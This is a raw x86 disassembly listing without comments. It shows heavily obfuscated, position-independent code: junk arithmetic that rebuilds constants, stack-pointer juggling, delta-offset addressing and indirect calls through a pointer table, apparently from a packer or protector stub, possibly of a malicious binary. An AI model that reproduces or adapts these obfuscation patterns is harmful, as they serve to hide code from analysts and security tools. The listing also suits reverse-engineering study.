push dword [esp]
mov esi, dword [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg dword [esp], ebx
pop esp
add esp, 4
mov eax, dword [esp]
add esp, 4
push esi
mov esi, 0xd633db4
sub esi, 0xe62ebfca
sub eax, esi
mov esi, dword [esp]
add esp, 4
mov dword [ebp + 0x167c1895], eax
mov ebx, dword [ebp + 0x167827ff]
push edi
mov edi, esp
push ebp
mov ebp, 0x26214d26
shl ebp, 8
dec ebp
neg ebp
inc ebp
push ebx
mov ebx, 0xdeb2d9fe
sub ebp, ebx
pop ebx
add edi, ebp
pop ebp
sub edi, 4
xchg dword [esp], edi
pop esp
mov dword [esp], edx
push edi
push 0x64ac4c99
pop edi
shl edi, 4
xor edi, 0x4ac4c9c4
push ebp
mov ebp, edi
mov edx, ebp
push dword [esp]
pop ebp
add esp, 4
pop edi
sub ebx, 0x659f24e5
add ebx, 0xd1a0ec0
sub ebx, 0x40cd1c4d
add ebx, edx
add ebx, 0x40cd1c4d
sub ebx, 0xd1a0ec0
add ebx, 0x659f24e5
push dword [esp]
pop edx
push ecx
mov dword [esp], ebx
mov dword [esp], ecx
mov ecx, esp
add ecx, 4
push edi
mov edi, 4
add ecx, edi
pop edi
push ecx
push dword [esp + 4]
pop ecx
pop dword [esp]
mov esp, dword [esp]
push 0x4733
mov dword [esp], ecx
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg dword [esp], edx
pop esp
mov dword [esp], ebp
push edi
mov edi, 0
mov ebp, edi
mov edi, dword [esp]
add esp, 4
push ebp
push dword [esp]
pop ecx
add esp, 4
mov ebp, dword [esp]
add esp, 4
push esi
mov esi, 0x5e080dad
add ecx, esi
pop esi
sub ecx, 0x18e813d1
push esi
mov esi, 0x7e44857
sub ecx, esi
pop esi
add ecx, ebx
add ecx, 0x7e44857
add ecx, 0x18e813d1
sub ecx, 0x5e080dad
push dword [ecx]
mov eax, dword [esp]
add esp, 4
push dword [esp]
pop ecx
add esp, 4
mov dword [ebp + 0x167c18a1], eax
mov ebx, dword [ebp + 0x167827ff]
push 0x5c96
mov dword [esp], edx
mov dword [esp], esi
push ebx
mov ebx, 0x58
push ebx
pop esi
mov ebx, dword [esp]
add esp, 4
sub esp, 4
mov dword [esp], esi
push ecx
mov ecx, 0x2f50401e
mov esi, 0x5a7b77cc
xor esi, ecx
pop ecx
add ebx, 0x24de2f2e
sub ebx, esi
sub ebx, 0x24de2f2e
pop esi
push esi
mov esi, 0x4c8333e
or esi, 0x4ec26d47
and esi, 0x404769ff
neg esi
sub esi, 0x67c4445a
add ebx, esi
pop esi
sub ebx, 0x3c3c5b80
add ebx, esi
add ebx, 0x3c3c5b80
sub ebx, 0x57f95227
push edx
mov dword [esp], esi
mov esi, 0x201f0e3d
xchg esi, edi
neg edi
xor esi, edi
xor edi, esi
xor esi, edi
shr esi, 6
shr esi, 3
add esi, 0x74bb475a
add ebx, 0x1c8b4977
add ebx, esi
sub ebx, 0x1c8b4977
pop esi
mov esi, dword [esp]
add esp, 4
push dword [ebx]
push dword [esp]
mov eax, dword [esp]
push eax
mov eax, esp
add eax, 4
push ecx
push edi
mov edi, 0x2d6204b1
shr edi, 3
shr edi, 1
shr edi, 7
xor edi, 0x8fa76c7
shr edi, 1
xor edi, 0x47fed47
mov ecx, edi
pop edi
add eax, ecx
pop ecx
xchg dword [esp], eax
pop esp
push ebx
mov dword [esp], ebp
push esp
mov ebp, dword [esp]
add esp, 4
add ebp, 4
push ecx
mov ecx, 0x4d8169e6
shr ecx, 4
add ecx, 1
push ecx
not dword [esp]
mov ecx, dword [esp]
add esp, 4
push edx
mov edx, 0x3afa2aa4
and edx, 0x17e20bde
inc edx
xor edx, 0xe9c5e3d9
sub ecx, edx
pop edx
sub ebp, 0x2893626f
add ebp, ecx
push edx
mov edx, 0x2893626f
add ebp, edx
pop edx
mov ecx, dword [esp]
add esp, 4
xchg dword [esp], ebp
pop esp
mov dword [ebp + 0x167c18a5], eax
mov ebx, dword [ebp + 0x167827ff]
push ebp
push ecx
mov ecx, 0x65379dc
shl ecx, 8
inc ecx
and ecx, 0x4a2367a2
xor ecx, 0x79146e14
push ecx
not dword [esp]
pop ecx
add ecx, 0x644777f1
mov ebp, ecx
mov ecx, dword [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg dword [esp], eax
pop esp
shl ebp, 8
inc ebp
shr ebp, 8
add ebp, 0x19003f72
add ebp, 0x2f51228e
sub ebp, 0xff35ae38
push ecx
push ebx
push 0x5283230c
pop ebx
or ebx, 0x63f41b96
shl ebx, 6
or ebx, 0x36470843
xor ebx, 0xabc99489
mov ecx, ebx
pop ebx
push edx
mov edx, 0x6b7c6a63
shl edx, 4
sub edx, 0xb64a9048
add ebp, edx
pop edx
add ebp, ecx
sub ebp, 0x17c15e8
pop ecx
add ebp, 0x12941b68
sub ebp, 0xffffffff
not ebp
not ebp
xor ebp, 0xafc8980b
sub ebx, 0x15970748
add ebx, ebp
add ebx, 0x15970748
push dword [esp]
push dword [esp]
pop ebp
push ecx
mov dword [esp], edx
push esp
pop edx
add edx, 4
add edx, 4
xchg dword [esp], edx
pop esp
add esp, 4
push dword [ebx]
push dword [esp]
pop eax
push 0x1d5a
mov dword [esp], ebp
push esp
pop ebp
sub esp, 4
mov dword [esp], ebx
mov ebx, 0x3ea59a4
xor ebx, 0x34fa5b31
add ebx, 0x475146d8
or ebx, 0x26590f93
neg ebx
xor ebx, 0x8186b005
add ebp, ebx
pop ebx
sub ebp, 4
xchg dword [esp], ebp
pop esp
mov dword [esp], ecx
mov ecx, esp
push ebp
mov ebp, 0x793d7a3b
and ebp, 0x51ed2c74
shl ebp, 4
not ebp
sub ebp, 0x26c2961
neg ebp
push eax
mov eax, 0x153eac5e
sub ebp, eax
pop eax
add ecx, ebp
pop ebp
push ebx
push ebp
mov dword [esp], eax
push 0xf651b06
pop eax
add eax, 0xf09ae4fe
mov ebx, eax
pop eax
push 0x502c
mov dword [esp], edi
mov edi, 0x11ae2caf
add edi, 0x38e322d6
shl edi, 8
dec edi
inc edi
inc edi
xor edi, 0x92f0dabe
add ecx, edi
pop edi
add ecx, ebx
sub ecx, 0x3bf5fbf
pop ebx
xor ecx, dword [esp]
xor dword [esp], ecx
xor ecx, dword [esp]
mov esp, dword [esp]
mov dword [ebp + 0x167c1899], eax
cmp dword [ebp + 0x167828bb], 0
jne 0xf6cc4e
cmp dword [ebp + 0x167827c7], 0
je 0xf6cde2
push dword [ebp + 0x167c18bd]
push dword [ebp + 0x167c18b9]
push dword [ebp + 0x167c18b5]
push dword [ebp + 0x167c18b1]
push dword [ebp + 0x167c18ad]
push dword [ebp + 0x167c18a9]
push dword [ebp + 0x167c189d]
push dword [ebp + 0x167c1899]
push dword [ebp + 0x167c18a5]
push dword [ebp + 0x167c18a1]
push dword [ebp + 0x167c1895]
push dword [ebp + 0x167c1891]
lea eax, [ebp + 0x167c18d7]
push 0x3040
mov dword [esp], ebp
mov ebp, esp
push ebx
mov dword [esp], edi
mov edi, 0x4d411333
neg edi
add edi, 0x4d411337
add ebp, edi
pop edi
sub ebp, 4
xchg dword [esp], ebp
pop esp
mov dword [esp], edi
push esp
mov edi, dword [esp]
push ecx
mov dword [esp], ebp
mov ebp, esp
add ebp, 4
push ebx
push edi
push 0x6f661329
mov edi, dword [esp]
add esp, 4
add edi, 0x9099ecdb
push edx
mov edx, edi
mov ebx, edx
pop edx
pop edi
add ebp, ebx
pop ebx
xchg dword [esp], ebp
pop esp
push ecx
mov ecx, 0x585f7f51
sub ecx, 0x9f408d9
neg ecx
xor ecx, 0xb194898c
add edi, ecx
pop ecx
push edx
mov edx, 4
sub edi, edx
pop edx
xchg dword [esp], edi
mov esp, dword [esp]
mov dword [esp], edx
mov dword [esp], eax
lea eax, [ebp + 0x16780a4d]
push 0x7e81
mov dword [esp], eax
call dword [ebp + 0x16782f8f]
push ebp
push esp
pop ebp
add ebp, 4
push 0x762
mov dword [esp], edi
mov dword [esp], edx
mov edx, 4
sub ebp, edx
mov edx, dword [esp]
add esp, 4
xchg dword [esp], ebp
mov esp, dword [esp]
mov dword [esp], eax
mov dword [esp], ebx
push esp
mov ebx, dword [esp]
add esp, 4
push edi
mov edi, 4
add ebx, edi
pop edi
push edi
mov edi, 0x550d3cad
shr edi, 4
shr edi, 4
or edi, 0x519f7a8d
xor edi, esi
xor esi, edi
xor edi, esi
not esi
xchg edi, esi
sub edi, 0xae20800a
add ebx, edi
mov edi, dword [esp]
add esp, 4
xor ebx, dword [esp]
xor dword [esp], ebx
xor ebx, dword [esp]
mov esp, dword [esp]
push 0x40
lea eax, [ebp + 0x167c18c1]
push 0x6cca
mov dword [esp], eax
lea eax, [ebp + 0x16780a4d]
push 0xdb
mov dword [esp], esi
mov dword [esp], eax
push 0
call dword [ebp + 0x167830bc]
push 1
call dword [ebp + 0x16781c12]
push 0x493f
mov dword [esp], ecx
mov eax, dword [esp]
push ecx
sub esp, 4
mov dword [esp], esp
push edx
mov edx, 4
add dword [esp + 4], edx
pop edx
pop ecx
push ebp
mov ebp, 0x11d12abd
shl ebp, 4
xor ebp, 0x1d12abd4
add ecx, ebp
pop ebp
push 0x7fb8
mov dword [esp], ebp
mov ebp, 4
sub ecx, 0x24f10d69
add ecx, ebp
push edx
mov edx, 0x24f10d69
sub esp, 4
mov dword [esp], edi
mov edi, 0x1220363f
add ecx, edi
pop edi
add ecx, edx
sub ecx, 0x1220363f
pop edx
pop ebp
push ecx
mov dword [esp], esi
mov dword [esp], ecx
push dword [esp + 4]
pop ecx
pop dword [esp]
mov esp, dword [esp]
jmp 0xf6ce5f
sub esp, 4
mov dword [esp], ebx
mov ebx, 0x6a42
sub esp, 4
mov dword [esp], ebx
mov dword [esp], ecx
mov ecx, ebx
push ecx
pop eax
mov ecx, dword [esp]
push 0x24f0
mov dword [esp], edx
mov edx, esp
push edi
push edi
mov dword [esp], esi
push 0x43a53e44
pop esi
inc esi
sub esi, 0x3aed0df1
mov edi, esi
pop esi
push edi
not dword [esp]
push dword [esp]
pop edi
add esp, 4
xor edi, 0xf747cfaf
sub edx, 0xded3a20
add edx, edi
add edx, 0xded3a20
pop edi
add edx, 4
push edx
push dword [esp + 4]
push dword [esp]
pop edx
add esp, 4
pop dword [esp]
pop esp
pop ebx
push eax
sub esp, 4
mov dword [esp], esp
push edx
push 4
pop edx
sub dword [esp + 4], 0x189f658a
add dword [esp + 4], edx
add dword [esp + 4], 0x189f658a
pop edx
mov eax, dword [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg dword [esp], ebp
pop esp
push ecx
mov ecx, 4
push ecx
mov ecx, 0x3efa6acc
sub eax, 0x2343c44
add eax, ecx
push edx
mov edx, 0x2343c44
add eax, 0x3a45b81
add eax, edx
sub eax, 0x3a45b81
pop edx
mov ecx, dword [esp]
add esp, 4
add eax, ecx
sub eax, 0x3efa6acc
pop ecx
push 0x6a77
mov dword [esp], edx
mov edx, 0x6ede62bf
xor edx, 0x6ede62bb
sub eax, edx
pop edx
xor eax, dword [esp]
xor dword [esp], eax
xor eax, dword [esp]
pop esp
mov dword [esp], eax
jmp 0xf6cf6e
call 0xf6cf73
push dword [esp]
pop ebx
sub esp, 4
mov dword [esp], edx
mov dword [esp], eax
mov eax, esp
push edi
push 0x5ef4
mov dword [esp], esi
push ebx
push ecx
push 0xc9c709d
pop ecx
shl ecx, 1
xor ecx, 0x1085c397
mov ebx, ecx
mov ecx, dword [esp]
add esp, 4
push esi
mov dword [esp], ebx
xor dword [esp], 0x13c73bef
push dword [esp]
pop esi
add esp, 4
sub esp, 4
mov dword [esp], ebp
mov ebp, 0x35f92dc9
shr ebp, 6
not ebp
neg ebp
xor ebp, 0x6911786a
add ebp, 0xaa009f1d
xor esi, ebp
pop ebp
pop ebx
inc esi
sub esi, 0x9bd22aa
mov edi, esi
pop esi
add eax, edi
mov edi, dword [esp]
add esp, 4
push ecx
mov ecx, 4
add eax, ecx
pop ecx
xor eax, dword [esp]
xor dword [esp], eax
xor eax, dword [esp]
pop esp
sub ebx, 0x72112e4b
add ebx, 0x6315657
add ebx, dword [esp]
push edx
mov edx, esp
add edx, 4
sub edx, 4
push edx
push dword [esp + 4]
mov edx, dword [esp]
add esp, 4
pop dword [esp]
mov esp, dword [esp]
mov dword [esp], ebp
push esi
mov esi, 0x6315657
mov ebp, esi
pop esi
sub ebx, ebp
mov ebp, dword [esp]
add esp, 4
push 0x3534
mov dword [esp], ebp
push eax
push 0x57215977
pop eax
xor eax, 0x48f073e3
mov ebp, eax
pop eax
push esi
push 0x12f7
mov dword [esp], eax
push 0x1a7540b8
pop eax
sub eax, 0x1b1a56b1
neg eax
sub eax, 0x55874920
xor eax, 0xff6ddd7b
mov esi, eax
pop eax
add esi, 0x188c4fe6
neg esi
sub esi, 0x3b5e2c74
sub ebp, esi
pop esi
shl ebp, 8
shl ebp, 6
push eax
mov eax, 0x17838a6
xor eax, 0xe60072a
xor eax, 0x77583675
push esi
mov esi, 0x5ba40d2f
or eax, esi
pop esi
add eax, 0x59d81f0e
shr eax, 5
xor eax, 0x8540cf23
add ebp, eax
pop eax
add ebx, ebp
pop ebp
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg dword [esp], ecx
pop esp
mov dword [esp], ecx
mov ecx, esp
push ecx
mov dword [esp], ebx
mov ebx, 4
add ecx, ebx
pop ebx
push edi
push edi
mov dword [esp], eax
mov eax, 4
push edx
mov dword [esp], ecx
mov ecx, eax
mov edi, ecx
push dword [esp]
push dword [esp]
pop ecx
add esp, 4
add esp, 4
mov eax, dword [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg dword [esp], ebx
pop esp
add ecx, edi
pop edi
sub esp, 4
mov dword [esp], ebp
mov dword [esp], ecx
push dword [esp + 4]
pop ecx
pop dword [esp]
mov esp, dword [esp]
sti
push 0x371b688f
pop edx
push esi
push eax
push 0x654f643a
pop eax
push ebp
mov ebp, 0xa324e8a
push edi
push ebx
mov ebx, 0x3a1077ef
mov edi, 0x350c4083
xor edi, ebx
pop ebx
not edi
add edi, 0x657f6f66
and ebp, edi
pop edi
and ebp, 0x3e921fb8
dec ebp
shr ebp, 4
add ebp, 0x7d8e17d5
xor eax, ebp
mov ebp, dword [esp]
add esp, 4
push eax
pop esi
mov eax, dword [esp]
add esp, 4
and edx, esi
mov esi, dword [esp]
add esp, 4
shr edx, 2
neg edx
sub edx, 0x2bd20376
push ebx
mov dword [esp], ebp
mov ebp, 0x55c50913
xor edx, ebp
pop ebp
push ebp
mov dword [esp], eax
mov eax, 0x87c3258
push ebx
mov ebx, 0x79831499
dec ebx
push ebx
neg dword [esp]
pop ebx
add ebx, 0x7d40c76
xor eax, ebx
mov ebx, dword [esp]
add esp, 4
xor edx, eax
push dword [esp]
pop eax
add esp, 4
add edx, 0xfc3bb1e4
push edi
mov dword [esp], edx
push 0
pop edx
push eax
push ebx
push edx
mov edx, 0x49844fbd
shr edx, 7
shr edx, 4
sub edx, 0x7cb24c01
add edx, 0xcca74435
push edx
pop ebx
pop edx
mov eax, 0x5d802919
xor eax, ebx
pop ebx
add edx, eax
mov eax, dword [esp]
add esp, 4
add edx, ebx
push ecx
mov ecx, 0x127e01a4
sub edx, ecx
pop ecx
push eax
push edx
mov edx, 0x49da03b1
neg edx
shr edx, 8
xor edx, 0x71234674
push ebx
mov ebx, 0x473747bc
sub edx, ebx
mov ebx, dword [esp]
add esp, 4
mov eax, edx
pop edx
or eax, 0x8ff01f5
shl eax, 8
shr eax, 3
inc eax
add eax, 0x14e32ef2
xor eax, 0x34c6ae93
sub eax, 0x4160534a
add eax, edx
add eax, 0x4160534a
mov edi, dword [eax]
pop eax
mov edx, dword [esp]
push edx
mov edx, esp
push ebx
mov ebx, 0x6d414316
add ebx, 0x92bebcee
add edx, ebx
pop ebx
add edx, 4
xchg dword [esp], edx
mov esp, dword [esp]
push ecx
sub esp, 4
mov dword [esp], edx
push 0x46a0380f
mov edx, dword [esp]
add esp, 4
shr edx, 8
xchg edx, ebp
not ebp
xchg edx, ebp
push eax
mov eax, 0x2c693902
sub eax, 0xffffffff
shr eax, 7
and eax, 0x33e839d1
xor eax, 0xa7722e9a
xor edx, eax
pop eax
mov ecx, edx
push dword [esp]
pop edx
add esp, 4
shl ecx, 1
push eax
mov eax, 0x54e13445
push esi
mov esi, 0x3d075424
push esi
not dword [esp]
pop esi
shr esi, 1
xchg esi, ecx
not ecx
xchg esi, ecx
push edi
mov edi, 0x2edd41b1
xor edi, 0x497070d
and edi, 0x73ff2bf0
push ebx
mov ebx, 0x245a6521
or ebx, 0x3b7b641d
xor ebx, 0x267f3046
add edi, ebx
pop ebx
xor edi, 0x29c96af2
sub edi, 0x189527a5
xor edi, 0x88076b08
sub esi, edi
pop edi
xor eax, esi
pop esi
dec eax
and eax, 0x10a45826
add eax, 0x7a3fb1e4
add ecx, 0x44a37d92
add ecx, eax
sub ecx, 0x44a37d92
push dword [esp]
pop eax
add esp, 4
xor edi, ecx
push dword [esp]
pop ecx
add esp, 4
push 0x1746
mov dword [esp], ecx
push 0x1c6c
mov dword [esp], edx
push 0x4c6a754d
mov edx, dword [esp]
add esp, 4
add edx, 0x6aee696
push edx
mov dword [esp], ebp
mov ebp, edx
mov ecx, ebp
mov ebp, dword [esp]
add esp, 4
mov edx, dword [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg dword [esp], edx
pop esp
push eax
mov eax, 0x71f07487
sub ecx, eax
pop eax
push ebp
mov ebp, 0x4b80d37
add ebp, 0x30ca1664
inc ebp
sub ebp, 0xb5fa0bfe
xor ecx, ebp
pop ebp
add ecx, 0xadd423dd
sub edi, 0x20173611
sub edi, ecx
push eax
push esi
push 0x35f71880
pop esi
add esi, 0x29901b9e
mov eax, esi
pop esi
sub eax, 0x3f6ffe0d
add edi, eax
pop eax
mov ecx, dword [esp]
push eax
mov eax, esp
push ebp
mov ebp, 4
sub eax, 0x1aa67928
add eax, ebp
add eax, 0x1aa67928
pop ebp
push ebp
mov ebp, 4
add eax, ebp
pop ebp
xchg dword [esp], eax
pop esp
push 0x3ff1
mov dword [esp], esi
mov esi, 0x6f8f089e
add esi, 1
push ecx
push esi
mov esi, 0x275e4532
xor esi, 0x25672c1
dec esi
neg esi
push eax
mov eax, 0x2c744a32
inc eax
push ecx
mov ecx, 0x58c0573e
or eax, ecx
pop ecx
push edi
mov edi, 0x45215f0c
or edi, 0x636f0aa0
shl edi, 8
and edi, 0x27382d39
push 0x5cf2
mov dword [esp], edi
xchg dword [esp], ebx
not ebx
xchg dword [esp], ebx
pop edi
shl edi, 3
add edi, 0x494b6bd8
xor eax, edi
mov edi, dword [esp]
add esp, 4
dec eax
shr eax, 8
xor eax, 0x5ae078e4
or esi, eax
mov eax, dword [esp]
add esp, 4
or esi, 0x69da07d8
add esi, 0x837b6cf1
push edi
mov edi, esi
mov ecx, edi
pop edi
pop esi
sub ecx, 1
push ebx
mov ebx, 0xe08a3029
add ecx, ebx
pop ebx
sub esi, ecx
pop ecx
sub edi, esi
mov esi, dword [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
push edi
push dword [esp + 4]
pop edi
pop dword [esp]
pop esp
push 0x6d3c
mov dword [esp], edi
pop dword [ebx]
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg dword [esp], ebp
pop esp
mov dword [esp], edx
mov edx, 1
push esi
mov esi, 0xd3b17ea
inc esi
and esi, 0x1c9a2b3f
dec esi
xor esi, 0x95f2344
push ebp
mov ebp, 0x79b40395
and ebp, 0x4aa776a2
add ebp, 0xce336a00
or esi, ebp
pop ebp
xor esi, 0x7bfc28aa
push ebx
mov ebx, 0x74bb4f6b
not ebx
shl ebx, 4
and ebx, 0x17f57acd
push ebp
mov ebp, 0x314347c4
and ebx, ebp
pop ebp
add ebx, 0x3af74064
sub esi, ebx
pop ebx
add ebx, esi
pop esi
push ebp
mov ebp, 0x5328183d
sub ebx, ebp
pop ebp
sub ebx, 0x630d459e
sub ebx, edx
add ebx, 0x630d459e
push esi
mov esi, 0x5328183d
add ebx, 0x2f281044
add ebx, esi
sub ebx, 0x2f281044
pop esi
sub ebx, 0x20f303a0
push dword [esp]
mov edx, dword [esp]
push 0x50c8
mov dword [esp], ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg dword [esp], ebx
pop esp
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg dword [esp], eax
pop esp
sub esp, 4
mov dword [esp], ebp
sub esp, 4
mov dword [esp], edi
mov edi, 0x55b25f16
push edx
mov edx, 0x75af01ca
inc edx
push ebp
mov ebp, 0x15192066
sub ebp, 0x731c4304
neg ebp
neg ebp
add ebp, 0x7a865356
and edx, ebp
pop ebp
neg edx
push esi
mov esi, 0
sub esi, edx
mov edx, esi
pop esi
shr edx, 5
sub edx, 0x96dcc443
and edx, 0x3f121ba9
add edx, 0x4e1f87d
or edi, edx
mov edx, dword [esp]
add esp, 4
xor edi, 0x8209a001
push edi
add dword [esp], 0x29476863
mov ebp, dword [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg dword [esp], ecx
pop esp
push edx
mov edx, 0x1f962944
dec edx
add edx, 0x6beb0c7b
or edx, 0x2f401f25
add edx, 0x798628a4
sub ebp, edx
pop edx
pop edi
sub ebx, 0x50905bde
add ebx, ebp
add ebx, 0x50905bde
push dword [esp]
mov ebp, dword [esp]
add esp, 4
push ecx
mov ecx, esp
push ebp
mov ebp, 4
add ecx, ebp
pop ebp
add ecx, 4
xchg dword [esp], ecx
pop esp
push 0x6344
mov dword [esp], ecx
mov ecx, 0x3af16c5a
shl ecx, 4
push edi
mov edi, 0x5d643e92
and edi, 0x268f4b53
not edi
sub edi, 0xffffffff
push ebp
mov ebp, 0x28c56133
sub ebp, 0x4f7b7d9b
dec ebp
shl ebp, 4
inc ebp
push ecx
mov ecx, 0x1fd97109
shr ecx, 4
and ecx, 0x3c9e6721
add ecx, 0x98b370ff
xor ebp, ecx
pop ecx
add edi, ebp
mov ebp, dword [esp]
add esp, 4
push ebp
push edx
push 0x49be1ea8
pop edx
push ebx
mov dword [esp], ecx
push ebx
mov ebx, 0x9107478
mov ecx, ebx
pop ebx
not ecx
and ecx, 0x262d214f
shr ecx, 2
sub ecx, 0xdbfce1b8
xor edx, ecx
pop ecx
mov ebp, edx
pop edx
xor ebp, 0x2aa02df3
xor ebp, 0xf4fd9ab8
add edi, 0x5cf179d1
add edi, 0x681d0b71
sub edi, ebp
sub edi, 0x681d0b71
push ebx
mov ebx, 0x5cf179d1
sub edi, ebx
mov ebx, dword [esp]
add esp, 4
mov ebp, dword [esp]
add esp, 4
and ecx, edi
mov edi, dword [esp]
add esp, 4
add ecx, 0x15dd4efb
xor ecx, 0x68021739
sub ecx, 0x4cf184c3
add ebx, ecx
pop ecx
push ebp
push ebx
push 0x46504938
pop ebx
not ebx
add ebx, 0x76e77212
mov ebp, ebx
pop ebx
push eax
mov eax, 0x357221a
and eax, 0x33c07cb0
shl eax, 7
sub eax, 0xaa04aac
add eax, 0x7c362716
sub eax, 0x64182667
xor eax, 0x8d79954f
or ebp, eax
pop eax
dec ebp
sub esp, 4
mov dword [esp], ebp
not dword [esp]
pop ebp
xor ebp, esi
xor esi, ebp
xor ebp, esi
not esi
xchg ebp, esi
push esi
push ebx
push 0x3f8404a4
pop ebx
add ebx, 0x3f8d164c
mov esi, ebx
mov ebx, dword [esp]
add esp, 4
dec esi
push esi
not dword [esp]
pop esi
push edi
mov dword [esp], ebx
mov ebx, 0x3e607629
not ebx
add ebx, 0xf0468717
sub esi, ebx
pop ebx
xor ebp, esi
pop esi
sub ebx, 0x406b1a83
add ebx, ebp
add ebx, 0x406b1a83
mov ebp, dword [esp]
push eax
push esp
pop eax
add eax, 4
push esi
mov esi, 0x598807bf
add esi, 0xa677f845
add eax, esi
pop esi
xchg dword [esp], eax
pop esp
dec edx
jne 0xf6d1de
sti
push esi
mov esi, 0xaa9728f
shr esi, 5
push edx
mov edx, 0x2b146f1e
neg edx
push edx
not dword [esp]
pop edx
or edx, 0x4a51696f
sub edx, 0x77e864cf
push ebp
push 0x551c72d3
pop ebp
add ebp, 0x74c55cf5
neg ebp
neg ebp
or ebp, 0x3d7b5f3e
add ebp, 0x9dd020d6
add edx, ebp
pop ebp
sub esi, edx
pop edx
push edi
push eax
push 0x7d716046
pop eax
shl eax, 4
xor eax, 0xa04d6e41
mov edi, eax
mov eax, dword [esp]
add esp, 4
add edi, 0x5933030a
inc edi
add edi, 0xe88068ce
mov eax, edi
mov edi, dword [esp]
add esp, 4
add eax, esi
mov esi, dword [esp]
add esp, 4
push ebx
mov dword [esp], edi
mov dword [esp], esi
sub esp, 4
mov dword [esp], eax
push 0x1798595d
pop eax
push edx
mov edx, 0x2af44277
or eax, edx
mov edx, dword [esp]
add esp, 4
dec eax
xor eax, 0x1e847b2f
xor eax, 0x1e5d74e6
mov esi, eax
mov eax, dword [esp]
add esp, 4
add esi, 0xf931ab84
xor eax, esi
pop esi
push edi
mov dword [esp], ebp
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg dword [esp], ebx
mov esp, dword [esp]
mov dword [esp], ebp
mov dword [esp], esi
push 0x6be53724
push dword [esp]
pop esi
add esp, 4
shr esi, 3
push 0x3daa
mov dword [esp], edx
mov edx, 0x2f5a4e17
xor edx, 0x9d570f0a
sub esi, edx
push dword [esp]
pop edx
add esp, 4
push ecx
mov ecx, esi
mov ebp, ecx
pop ecx
pop esi
xor ebp, 0x18154919
push ecx
mov ecx, 0x65cc0d8d
push ebx
mov ebx, 0x6f0b4a62
xor ecx, ebx
pop ebx
add ebp, ecx
mov ecx, dword [esp]
add esp, 4
mov edx, ebp
mov ebp, dword [esp]
push ebx
mov ebx, esp
add ebx, 4
push ecx
mov ecx, 4
add ebx, ecx
pop ecx
xchg dword [esp], ebx
pop esp
mov edx, 0x4a8d4663
shl edx, 1
push edx
xchg dword [esp], ebx
inc ebx
xchg dword [esp], ebx
push dword [esp]
mov edx, dword [esp]
push 0x7227
mov dword [esp], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg dword [esp], ebp
pop esp
add esp, 4
shr edx, 7
sub edx, 1
xor edx, eax
xor eax, edx
xor edx, eax
xchg ecx, eax
xchg ecx, edi
not edi
xchg ecx, edi
xchg ecx, eax
push edx
push eax
pop edx
pop eax
push ebx
mov ebx, 0xf3712e68
sub edx, ebx
mov ebx, dword [esp]
push ebp
push esi
mov dword [esp], esp
add dword [esp], 4
pop ebp
add ebp, 4
add ebp, 4
xchg dword [esp], ebp
pop esp
jmp 0xf6d9b9
pushal
push 0
push ecx
call 0xf6d9c5
and byte [ecx - 0x3d], bl
pop ecx
mov dword [esp + 4], ecx
add dword [esp + 4], 0x19
inc ecx
push ecx
ret